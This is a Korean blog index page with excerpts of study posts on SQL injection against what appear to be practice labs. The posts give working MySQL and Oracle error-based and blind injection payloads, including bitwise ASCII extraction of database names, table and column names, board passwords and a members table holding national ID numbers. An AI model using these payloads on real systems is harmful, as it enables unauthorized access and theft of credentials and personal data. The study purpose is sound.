목록웹 해킹 (100)
Oh! JUN
★ 주의사항 Response-Based SQL Injection은 각 DBMS별 버전에 따라서 구문 실행이 되지 않을 수 있으며, 웹 어플리케이션 서버 환경에 따라 되지 않을 수 있음. # MYSQL MYSQL은 다중 레코드 오류로 발생가능하니까 적용시켜보면 keyword Input 결과 1번째 방법 select * from tb_board where title like '%' and (select case when 1=2 then 'a' else (select 'a' union select 'b') end)# %' -에러 발생- 관리자에게 문의하시오. select * from tb_board where title like '%' and (select case when 1=1 then 'a' else (..
# MYSQL * MYSQL은 Divide by Zero 에러 발생을 하지 않아서 다중 레코드 에러만 가능 # ORACLE 쿼리 결과 select case when 1=1 then 'a' else CAST(1/0 as char) end from dual; a select case when 1=2 then 'a' else CAST(1/0 as char) end from dual; ORA-01476: 제수가 0 입니다 Error code: 1476 SQL state: 22012 select case when 1=1 then 1 else 1/0 end from dual; 1 select case when 1=2 then 1 else 1/0 end from dual; ORA-01476: 제수가 0 입니다 Err..
1. DB 이름 DB 이름 글자 수 1' and length(database())=4# T DB : □□□□ DB 이름 1' and ascii(substring(database(),1,1))&1=1# 0 DB : d□□□ 1' and ascii(substring(database(),1,1))&2=2# 0 1' and ascii(substring(database(),1,1))&4=4# 1 1' and ascii(substring(database(),1,1))&8=8# 0 1' and ascii(substring(database(),1,1))&16=16# 0 1' and ascii(substring(database(),1,1))&32=32# 1 1' and ascii(substring(database(),1..
1. 취약점 분석 INPUT OUTPUT ' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 - 문법 오류 발생(MYSQL DB 사용하는거 알 수 있음) 1 ID: 1 First name: admin Surname: admin - ID : 1에 해당하는 First, Surname 정상 출력 2 ID: 2 First name: Gordon Surname: Brown - ID : 2에 해당하는 First, Surname 정상 출력 2-1 ID: 2-1 First name: Gordon Sur..
C##CREHACKTIVE → tb_board → IDX, PASSWORD 1. 사용자(DB) 이름 찾기 BITAND(ascii(substr((select user from dual),1,1)),1)=1 정상 출력 1 2진수 : 01000011 10진수 : 67 문자형 : 'C' BITAND(ascii(substr((select user from dual),1,1)),2)=2 정상 출력 1 BITAND(ascii(substr((select user from dual),1,1)),4)=4 에러 발생 0 BITAND(ascii(substr((select user from dual),1,1)),8)=8 에러 발생 0 BITAND(ascii(substr((select user from dual),1,1)),16..
※ 과정 ※ 순서 1. 사용자 DB 찾기(board) 2. 테이블 찾기(tb_board) 3. 컬럼 찾기(idx, password) 1. 사용자 DB찾기(board) 1-1. 사용자 DB 문자열 개수 idx=10 and length(database())=5 1-2. 사용자 DB 이름 idx=10 and ascii(substring(database(),1,1))&1=1 거짓(오류 발생) 0 2진수 : 01100010 10진수 : 98 문자 : 'b' idx=10 and ascii(substring(database(),1,1))&2=2 참(게시글 정상 출력) 1 idx=10 and ascii(substring(database(),1,1))&4=4 거짓(오류 발생) 0 idx=10 and ascii(subst..
※ 목표 : 게시판 비밀글 PASSWORD 알아내기 ※ 조건 : 컬럼 : 'PASSWORD' / IDX = 65 ## 비순차적 찾기 1-1. 사용자(DB)이름 문자열 개수 idx=61 and length((select user from dual))=14 - 사용자(DB) 문자열 수가 14개라서 게시판 내용이 출력되는걸 확인할 수 있다. ※ 비밀글은 idx=63인데 61로 하는 이유는? - 비밀글이어서 PASSWORD 없이 접속 자체가 불가능해서 조건값에 맞는 결과값의 참 거짓 여부를 알 수가 없다. - 그래서 공개글을 활용해서 조건에 따른 값이 참이면 게시판에 있는 내용이 출력될것이고 거짓이면 오류가 뜬다. 1-2. 사용자(DB) 이름 찾기 idx=61 and ascii(substr((select use..
※ 목표 DB(board) -> Table(members) -> column(idx, id, password, jumin) 1. DB 이름 파악 substring(database(), 1, 1)='b' 정상 출력 -> test검색 substring(database(), 2, 1)='o' 정상 출력 -> test검색 substring(database(), 3, 1)='a' 정상 출력 -> test검색 substring(database(), 4, 1)='r' 정상 출력 -> test검색 substring(database(), 5, 1)='d' 정상 출력 -> test검색 - database() : DB 이름 정보 - substring('문자열',index,size) - 실제로는 모든 대소문자 + 특수문자를 ..